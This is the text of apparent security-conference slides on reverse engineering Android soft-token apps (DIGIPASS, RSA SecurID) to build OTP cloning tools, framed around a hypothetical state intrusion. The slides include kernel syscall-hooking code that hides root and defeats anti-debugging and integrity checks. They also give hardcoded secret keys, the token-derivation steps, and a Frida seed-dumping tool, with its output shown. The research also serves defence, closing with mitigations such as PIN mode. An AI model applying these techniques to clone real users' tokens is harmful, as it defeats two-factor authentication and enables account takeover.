HACKING SOFT TOKENS
ADVANCED REVERSE ENGINEERING ON ANDROID
otpauth://totp/berndt@vantagepoint.sg?secret=REVWBZXQEND2H6L2554WPT6D3GSJ4I
Hypothetical Threat Scenario

- You're the NSA intruding into the German govt.
- Using auto-root malware from DDD, you pulled data from German officials' Android phones
- Dump contains vds_dmfs48 config files - how about a tool that lets you generate OTPs for 2FA services?
Mission Briefing

• Write cloning tools for some commercial solutions!
  • Understand how OTPs are calculated
  • Find out how data is protected
  • Extract any hardcoded secrets
  • Reproduce the algorithm
Launching DIGIPASS for the first time...
Oh?

```
dhcp  14406 1 9344 652 ffffffff 00000000 S /system/bin/dhcpcd
d0_a2  14409 12704 1493044 42892 ffffffff 00000000 S com.android.providers.calendar
d0_a18  14744 12704 1551996 64172 ffffffff 00000000 S com.android.vending
d0_a58  14882 12704 1671900 69480 ffffffff 00000000 S com.google.android.apps.maps
d0_a15  14968 12704 1643912 68792 ffffffff 00000000 S com.google.android.talk
d0_a46  15016 12704 1511248 46028 ffffffff 00000000 S com.google.android.apps.fitness
d0_a32  15073 12704 1527912 52212 ffffffff 00000000 S com.google.android.calendar
d0_a70  15193 12704 1536888 55472 ffffffff 00000000 S com.google.android.gm
d0_a3  15280 12704 1491196 40132 ffffffff 00000000 S com.android.cellbroadcastreceiver
d0_a67  15390 12704 1543840 56504 ffffffff 00000000 S com.google.android.apps.plus
d0_a60  15421 12704 1615168 62388 ffffffff 00000000 S com.google.android.music.main
shell  15538 223 9204 620 c0789d7c b6f659e8 S logcat
root   15644 2 0 0 ffffffff 00000000 S kworker/u:4
d0_a83  15650 12704 1493760 39268 ffffffff 00000000 S eu.chainfire.supersu
d0_a84  15717 12704 1546928 71524 ffffffff 00000000 S com.google.android.gms
root   15723 2 0 0 ffffffff 00000000 S kworker/u:5
d0_a84  15761 15717 1503548 39780 ffffffff 00000000 T com.google.android.gms
d0_a76  15767 12704 1490732 37908 ffffffff 00000000 S com.qualcomm.timeservice
d0_a39  15810 12704 1501348 45820 ffffffff 00000000 S com.google.android.deskclock
d0_a9  15946 12704 1594860 56584 ffffffff 00000000 S com.google.android.gms:car
shell  16053 223 10672 768 00000000 b6f3637c R ps
berndt@osboxes:~$```

Doom, according to itself, with
- Process renames itself with `prctl(PR_SET_NAME)
- Watch out for user uO_a84
- Forks a second process (more or later)
Two ways to make an app debuggable:

1. Repackage with android:debuggable=true in Manifest.xml
2. Add ro.debug = 1 to default.prop
   -> Removes all debugging restrictions

Problem: Most apps have integrity checks
   -> Requires patching or hacking the environment
Step 1: Customize the RAMdisk

Use abootimg:

adb shell cat /dev/mtd/mtd0 > /mnt/sdcard/boot.img
adb pull /mnt/sdcard/boot.img /tmp/boot.img
mkdir boot
cd boot
../abootimg -x /tmp/boot.img
mkdir initrd
cd initrd
cat ../initrd.img | gunzip | cpio -vid

To repackage:

cd initrd
find . | cpio --create --format='newc' | gzip > ../myinitd.img

https://git.gitorious.org/ac100/abootimg
App is now debuggable, but:

- Attaching GDB crashes the app
- Attaching JDB doesn't work either
- Will some static analysis help?

Pyramidal-Neuron:SoftToken berndt$ adb forward tcp:7777 jdwp:23282
Pyramidal-Neuron:SoftToken berndt$ jdb -attach localhost:7777
java.io.IOException
(...)
at com.sun.tools.jdi.GenericAttachingConnector.attach(GenericAttachingConnector.java:117)
at com.sun.tools.jdi.SocketAttachingConnector.attach(SocketAttachingConnector.java:90)
at com.sun.tools.example.debug.tty.VMConnection.attachTarget(VMConnection.java:519)
at com.sun.tools.example.debug.tty.VMConnection.open(VMConnection.java:328)
at com.sun.tools.example.debug.tty.Env.init(Env.java:63)
at com.sun.tools.example.debug.tty.TTY.main(TTY.java:1066)
Fatal error:
Unable to attach to target VM.
What's happening?

- Loads "libshield.so" -> Packed & obfuscated
- Enters a native function
- Process group terminates

```java
public static native void B_Gf8eHm(Context context, Instrumentation instrumentation) {
}

private static void P3Uu1yHI(Context arg1) {
    if(SzuGAnML.Kx4LdJr2 == null) {
        SzuGAnML.Kx4LdJr2 = new Instrumentation1();
    }

    SzuGAnML.B_Gf8eHm(arg1, SzuGAnML.Kx4LdJr2);
}
```
Assessing our options...

- **Single-step through Java app & libshield.so**
  - Debug with JEB + IDA Pro simultaneously
  - 2 Processes / ~13 Threads to be followed
  - Complicated logic (ptrace / wait4)
- **Manipulate the OS**
  - Controlling interactions with kernel / ART
  - Make static/dynamic analysis easier
- **Super low-level**
  - Pure CPU Trace / VMI based analysis
  - Proprietary algorithm difficult to understand
What We Need to Control
Building a Kernel

- No need to check out the whole AOSP to do it...
- Prebuilt toolchain + appropriate kernel sources is sufficient

```bash
$ export ARCH=arm
$ export SUBARCH=arm
$ export CROSS_COMPILE=/path_to_your_ndk/arm-eabi-4.8/bin/arm-eabi-
$ make
```
Recommended Kernel Settings

CONFIG_MODULES = Y
CONFIG STRICT MEMORY RWX = N
CONFIG DEVMEM = Y
CONFIG DEVKMEM = Y
CONFIG KALLSYMS = Y
CONFIG KALLSYMS_ALL = Y
CONFIG HAVE_KPROBES = Y

Bonus Settings:

CONFIG HAVE_KRETPROBES = Y
CONFIG HAVE_FUNCTION_TRACER = Y
CONFIG HAVE_FUNCTION_GRAPH_TRACER = Y
CONFIG TRACING = Y
CONFIG FTRACE = Y
CONFIG KDB = Y
Pyramidal-Neuron: zork berndt$ ./zork --help
Usage: zork [options]
  -i, --intercept <syscall_list>  Comma-separated list of syscalls
to activate
  -a, --intercept-all            Activate all syscalls
  -s, --intercept-safe          Activate only safe syscalls
  -p, --pid <pid>               Target process PID
  -c, --comm <name>             Target process command line
  -f, --hfile <name>            Hooks file name (default: 'generic')
  -e, --emulator                Target is emulator
  -n, --no-build <name>         Do not rebuild kernel module
How Zork works

- Compiles user functions into kernel module
- Looks up system call offsets in unistd.h
- Patches syscall table on the fly via /dev/kmem
Root Detection

- File checks: /system/xbin/su, /su/bin/su and similar
- Iterate through process list to detect certain processes (daemonsu).
- Verify the app loader via /proc/self/exe (some versions of SuperSU patch the app_loader32 binary)

(ZORK LOG)

```
[ZORK] faccessat,path="/system/xbin/su",mode=0,caller_pid=2361
[ZORK] access,path="/system/xbin/su",caller_pid=2361,return_value=0
[ZORK] access,path="/data/data/com.saurik.substrate",caller_pid=2361
[ZORK] access,path="/system/lib/libsubstrate-dvm.so",caller_pid=2361
[ZORK] access,path="/system/lib/libsubstrate.so",caller_pid=2361
[ZORK] access,path="/system/vendor/lib/liblog!.so",caller_pid=2361
[ZORK] access,path="/system/bin/app_process.orig",caller_pid=2361
[ZORK] access,path="/data/data/de.roby.android.xposed.installer"
[ZORK] access,path="/system/bin/app_process32_xposed",caller_pid=2361
[ZORK] access,path="/system/bin/app_process64_xposed",caller_pid=2361
[ZORK] access,path="/system/lib/libxposed_art.so",caller_pid=2361
[ZORK] access,path="/system/xposed.prop",caller_pid=2361
[ZORK] access,path="/system/framework/XposedBridge.jar",caller_pid=2361
[ZORK] faccessat,path="/system/xbin/su",mode=0,caller_pid=2361
```
/* BEGIN */
int faccessat(int dirfd, const char __user* pathname, int mode, int flags)
{
    struct task_struct *task = current;
    char *kbuf;
    size_t len;

    if (strcmp("DIGIPASS_DEMO_ANDROID", task->comm) == 0) {
        kbuf=(char*)kmalloc(256,GFP_KERNEL);
        len = strncpy_from_user(kbuf,pathname,255);

        printk("[ZORK] faccessat.path="\%s",mode="\%d,caller_pid="\%d,COMM="\%s" \n", kbuf, mode,task->pid,task->comm);

        // Hide su executable
        if ((strstr(kbuf,"/su") != NULL) || (strstr(kbuf,"daemonsu") != NULL)) {
            printk("[ZORK] Hiding 'su' binary\n");
            kfree(kbuf);
            return -ENOENT;
        }
        kfree(kbuf);
    }
    return real_faccessat(dirfd, pathname, mode, flags);
}
/* END */
Fake Process List

- Set up a fake /proc in /data/local/tmp/
- Swap file descriptor returned by sys_open()
- Prevents detection of daemonsu
Bypassing Integrity Checks

- Same principle... simply switch out FDs using Zork
- Return original app_loader, unmodified APK instead of modified one, etc.

```c
if (strcmp(kbuf, "/proc/self/exe") == 0) {
    printk("[ZORK] Process attempting to verify app_loader_32. Switching file descriptor\n");
    cur_fs = get_fs();
    set_fs(get_ds());
    fd = real_open("/usr/local/tmp/app_process32_original", flags);
    set_fs(cur_fs);
    kFree(kbuf);
    return fd;
}
```
Anti-Anti-Debugging (1)

Monitors its own task file (is P2 still tracing me)?

1. P1 forks P2
   - `fork()`

2. Attach to all of P1’s threads*:
   - `ptrace(PT_ATTACH, pid)`
   - `ptrace(PT_CONT, pid)`
   - `wait4(-1)`

3. `/proc/<pid>/task`
Anti-Anti-Debugging (2)

1. Save P2 PID and create a fake task file.
2. Interception of all calls to ptrace() and return the expected values. Put P2 to sleep when it has done its work.
3. Redirect open() to fake task file showing P2's PID.
/ * BEGIN */
long ptrace(int request, pid_t pid, void* addr, void* data)
{
    struct task_struct *task = current;
    int result;

    if (strcmp("SS_DEMO_ANDROID", task->comm) == 0) {
        printk("[ZORK] ptrace,request=%d,pid=%d,caller_pid=%d,COMM=%s\n", request, pid, task->pid, task->comm);

        if (request == 16 && pid == target_pid) {
            printk("[ZORK] DIGIPASS is attempting to trace itself - not nice. Saving PID %d\n", task->pid);
            real_tracer_pid = task->pid;
        }
        return 0;
    }

    result = real_ptrace(request, pid, addr, data);
    return result;
}
/* END */
static ssize_t fake_procfile(struct seq_file *m, void *v)
{
    seq_printf(m, "Name:\tSS_DEMO_ANDROID\nState:\tS\tsleeping)\nTgid:\t%d\nPId:\t8463\nPPid:\t%d\nTracerPid:\t%d\nUid:\n", target_pid, target_pid, real_tracer_pid);
    return 0;
}

int fake_status_open(struct inode *inode, struct file *file)
{
    return single_open(file, fake_procfile, NULL);
}

static const struct file_operations fake_status_fops = {
    .owner   = THIS_MODULE,
    .open    = fake_status_open,
    .read    = seq_read,
    .llseek  = seq_lseek,
    .release = single_release,
};
Now we can attach ptrace-based tools
  • strace, GDB, IDA Pro, frida...
• Process is none the wiser
• JDB still miraculously fails

“l/art  ( 2361): Debugger is no longer active”
The ART Debugger Thread

Something going wrong here? Maybe the function pointer was messed with?

```c
void Dbg::Disconnected() {
    CHECK(gDebuggerConnected);
    LOG(INFO) << "Debugger is no longer active";
}```
Solution

- Change layout of struct JDWPState
- Recompile ART
Build your own ART

- Unfortunately, you need the whole AOSP...
- Copy to /system/lib/when done
  - (but better backup your original libart.so)

$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.0.1_r1
$ repo sync
$ source build/envsetup.sh
$ lunch aosp_hammerhead-user $ make libart
Static / Dynamic Analysis Enabled!

- Now the *real* work begins...
  - ProGuard
  - String encryption
  - Strings hidden in native lib
  - Lots of JNI calls
Lots of JNI calls

```java
import fnrlfgr.SsaGfnVf;
import fnrlfgr.Zy88223ryf;

final class mn extends t {
    public static final String GtbkasG6;
    public static final String XWJ0USO;
    public static final String gaklnm12;
    static {
        SsaGfnVf.InitEnv(System);
        Zy88223ryf.nativeCall("n");
    }
    public () {
        super();
    }
    protected final p b(c) {
        n v0 = mn.a(mn.XWJ0USO);
        n v2 = mn.a(Zy88223ryf.nativeString1(1099));
        n v6 = mn.a(mn.GtbkasG6);
        byte[] v5 = os.o(Zy88223ryf.nativeString1(189));
        n v3 = mn.a(mn.gaklnm12);
        n v4 = v1;
        cv v1 = new c(v0, v2, v5);
        return new p(c(v5, c(v0, v1)), mn.a(Zy88223ryf.nativeString1(1892)), v3, v4, v5);
    }
}
```
Execution Trace

- DDMS is a real power tool!!
- Check out Android Studio's built-in trace view
If you need to be more stealthy than that...

- "Minitracing for ART" by Tian Xiao Gu
- Patched libart.so that enables tracing to file (method calls and field read/writes)
- Toggle tracing on/off with SIGUSR2

https://lab.artemisprojects.org/tianxiaogu/minitracing-for-art
THREAD: AsyncTask #1, METHOD ENTER: java.util.Vector.size ()I Vector.java
THREAD: AsyncTask #1, METHOD EXIT: java.util.Vector.size ()I Vector.java
THREAD: AsyncTask #1, METHOD ENTER: java.util.Vector.elementAt (I)Ljava/lang/Object; Vector.java
THREAD: AsyncTask #1, METHOD EXIT: java.util.Vector.elementAt (I)Ljava/lang/Object; Vector.java
THREAD: AsyncTask #1, FIELD READ: fq a B, VALUE: 0x33146480, DEX_PC: 0c0000001f
THREAD: AsyncTask #1, METHOD ENTER: fj a (Lfq;)J .java
THREAD: AsyncTask #1, METHOD ENTER: fj b (Lfq;II)[B .java
THREAD: AsyncTask #1, FIELD READ: fq b I, VALUE: 0x33146480, DEX_PC: 0c00000000
THREAD: AsyncTask #1, FIELD READ: fq c [B, VALUE: 0x33146480, DEX_PC: 0c0000000a
THREAD: AsyncTask #1, METHOD EXIT: fj b (Lfq;II)[B .java
My way of Annotating the Trace

(don't laugh)
(I use Powerpoint)

String fingerprintHash = "5B0A4D180CF06A89054D88C7094DF8DC38FE09A41344154965DB4E706C30B85"
sv = byte[]
dv = byte[]

Create a sha256 hash over:
DeviceFingerprintHash (64 bytes) + serialNo (10 bytes) + derivedKey (16 bytes) + secretKey (64 bytes)
secretKey = "[SECRET-KEY-REMOVED]"

Then, run PBKDF2 over the output using the SHA256 result as the seed.
2 Weeks later

- Mix of time-based and event-based algorithm
- Config file stores "static vector" and "dynamic vector"
  - Both contain token data, but content of the dynamic vector changes over time
How DIGIPASS Works

1. Generate device fingerprint hash:

   \[
   \text{SHA256}(\text{android\_id} + \text{IMEI} + \text{SECRET\_KEY\_1})
   \]

2. Generate device key DK:

   \[
   \text{PDBKF2}(\text{FPH} + \text{SECRET\_KEY\_2}, \text{SEED}, 320, 32)
   \]

3. Decrypt the config file using the device key and load the static vector (SV) and dynamic vector (DV) from the file.

4. Once the user taps the “login” button, generate a 32 Byte value using PBKDF2 with 3200 iterations. The current time stamp, data from the SV and DV as well as the device fingerprint are used as inputs. Truncate to obtain final OTP;

5. Increase the counter by one;

6. Encrypt the updated token data with DK and save to data file.
The Path to a Tool

- Copy any hardcoded secrets
- Static keys differ between versions
- Combine standard crypto libraries and/or lifted code
static private String getFingerprintHash() {
    StringBuilder str = new StringBuilder();
    str.append(ANDROIDID);
    str.append(IMEI);
    str.append("f3EB2DEF668F895366F3905373EF64FO6CFAC212CE407528A70CFD91A79FEA663EFCDB6CCDE21F43A27113619C7F3107FC4B05DAE373AE170EC52D52D03599034DB");
    mv fpHash = null;
    try{
        fpHash = ia.a(byte[]), str.toString().getBytes("UTF-8");
    } catch(Exception e) {
        return null;
    }
    return ia.e(fpHash.b); // Convert to Hex String
}

Create a SHA256 hash over:
DeviceFingerprintHash (64 bytes) + serialNo (10 bytes) + derivedKey (16 bytes) + secretKey (64 bytes)

secretKey = "21C9B45D0151A55D09335456B709856F5103A387B3E367B3SAD54CE235CF88F4E0B56F01D669253A871A4A0D2B4766D907930C4D4E3"

Then, run PBKDF2 over the output using the SHA256 result as the seed.

Code Lifting

StorageManager (id)  KeyManager (sw)
DDMS/TokenStorageManager (do)
InstanceStorage Hashmap
InstanceInitialized = true
InstanceOffides = NEVER
Eula = true
InstanceOptionMode = "FD4584532"
InstanceOptionSize = true
InstanceOption = byte[]
InstanceOptSize = 1

Get device ID
TokenDataManager (ia)
Pyramidal-Neuron: DIGIPASS-Demo bern $$.run.sh VDS_dfms48
Token serial: V051013635
OTP generated: 887713
Counter: 118
Press ENTER to generate the next OTP.

OTP generated: 900207
Counter: 119
Press ENTER to generate the next OTP.

OTP generated: 900029
Counter: 120
Press ENTER to generate the next OTP.

OTP generated: 611536
Counter: 121
Press ENTER to generate the next OTP.
Token 1

71091634

41 second(s) remaining
Algorithm

- AES-based algorithm used to be unknown
- Now there's "stoken" open source implementation
- Easy to find the Java classes implementing this

AES Key (1) = 0xaa 0xaa [ TS (2) ] 0xaa 0xaa 0xaa 0xaa [ TOKEN SERIAL (4) ] 0xbb 0xbb 0xbb 0xbb
AES Key (2) = 0xaa 0xaa [ - TS (3) -- ] 0xaa 0xaa 0xaa [ TOKEN SERIAL (4) ] 0xbb 0xbb 0xbb 0xbb
AES Key (3) = 0xaa 0xaa [ ----- TS (4) ----- ] 0xaa 0xaa [ TOKEN SERIAL (4) ] 0xbb 0xbb 0xbb 0xbb
AES Key (4) = 0xaa 0xaa [ -------- TS (5) -------- ] 0xaa [ TOKEN SERIAL (4) ] 0xbb 0xbb 0xbb 0xbb
AES Key (5) = [ ----------------- TS (8) ------------------ ] [ TOKEN SERIAL (4) ] [ PIN (4) or 0xbb ]
Local Data Storage

sqlite3 alicebD
sqlite> .schema tokens
CREATE TABLE tokens (SERIALNUMBER text primary key not null, NICKNAME text not null, EXPIRATIONDATE text not null, PINTYPE integer not null, PRNPERIOD integer not null, PRNLENGTH integer not null, ROOTSEED blob not null, OTPMODE integer not null, DEVICESBINDINGDATA text not null, ALGORITHM integer not null, BIRTHDATE integer not null, MAXTXCOUNT integer not null, SIGNATURECOUNT integer not null, LASTTXTIME integer not null, TOKENHASH blob not null);
sqlite> select * from tokens
150423696569|Token 1|14693680000|33|60|8|
^??|0|1|0|0|0|G?_3?`c#??aRn_??PLq?^Y??0????x

Encrypted root seed
OTP Seed Handling

Loading from DB, dynamic device key

```
if (args3 != null) {
    v2 = args3.getKey(KeyType.KEY_TYPE);
    v3 = new byte[KEY_LENGTH];
    v3 = v2;
}
```

1. Load from database
2. Create device key
3. Decrypt
4. Initialize encrypted data class

Zeroing Byte Arrays

Encrypted data class

```
public final class EncryptedData {
    private byte[] data;
    private byte[] encryptedRuntimeKey;
    private byte[] randomBytes401;
    private static int encrytKeyLength;

    public EncryptedData(byte[] data) {
        this.data = data;
        this.encryptedRuntimeKey = encrypt(data);
    }

    private byte[] decryptData() {
        try {
            if (this.data != null) {
                result = EncryptionUtility.decryptAES(this.data, this.getEncryptedKey());
            }
        } catch (DecryptionException e) {
            throw new DecryptionException();
        }
        return result;
    }
}
```

Encryption keys – these are randomly generated when the class is first used. Runtime key is only decrypted briefly during retrieval of plaintext data.

Retrieving decrypted data - getEncryptedKey() generates an AES key from the randomBytes401 instance variable and uses it to decrypt the key stored in encryptedRuntimeKey.
• Very simple cloning tool using FRIDA
• Use code injection to instantiate DeviceKey & dump the root key from the running app
• Build a command line tool using stoken libraries
• Only works over USB connection (hey, it's just a PoC)

http://www.frida.re/
Pyramidal-Neuron: RSA berndt$ ./RSAcloneID.py
Token Serial: 396236368000
--- ROOT SEED ---
08598641
Next OTP: |================================================================================================|
44056615
Next OTP: |================================================================================================|
69673223
Next OTP: |================================================================================================|
72713580
Next OTP: |================================================================================================|
79994134
Next OTP: |================================================================================================|
96068095
Next OTP: |================================================================================================|
10842183
Next OTP: |================================================================================================|
Quick Fix

- Always activate PIN mode!
- DIGIPASS: User data encrypted with PIN
- SecurID: PIN is used as part of the OTP calculation
  - Wrong PIN leads to wrong OTP being generated
- See also "Vendor Response" sections in the paper!
Reverse Engineering Resiliency

- Soft tokens use many protections known from the Malware and DRM world
  - Emulator Detection
  - Anti-Tampering
  - Executable Encryption / Packing
  - Obfuscation
  - Jailbreak Detection
  - Whitebox Cryptography
  - Anti-Debugging
  - Data Encryption
  - Virtualization

- Perfect protection is most likely impossible
  - However, RE defenses increase effort for adversaries
  - Leverage short release cycle of mobile apps to change obfuscation details
  - Continuous protection = continuous RE effort
YOU CAN WAKE UP NOW

Get the paper:

bernhard@vantagepoint.sg

https://www.linkedin.com/in/bernhardmueller
Twitter: @muellerberndt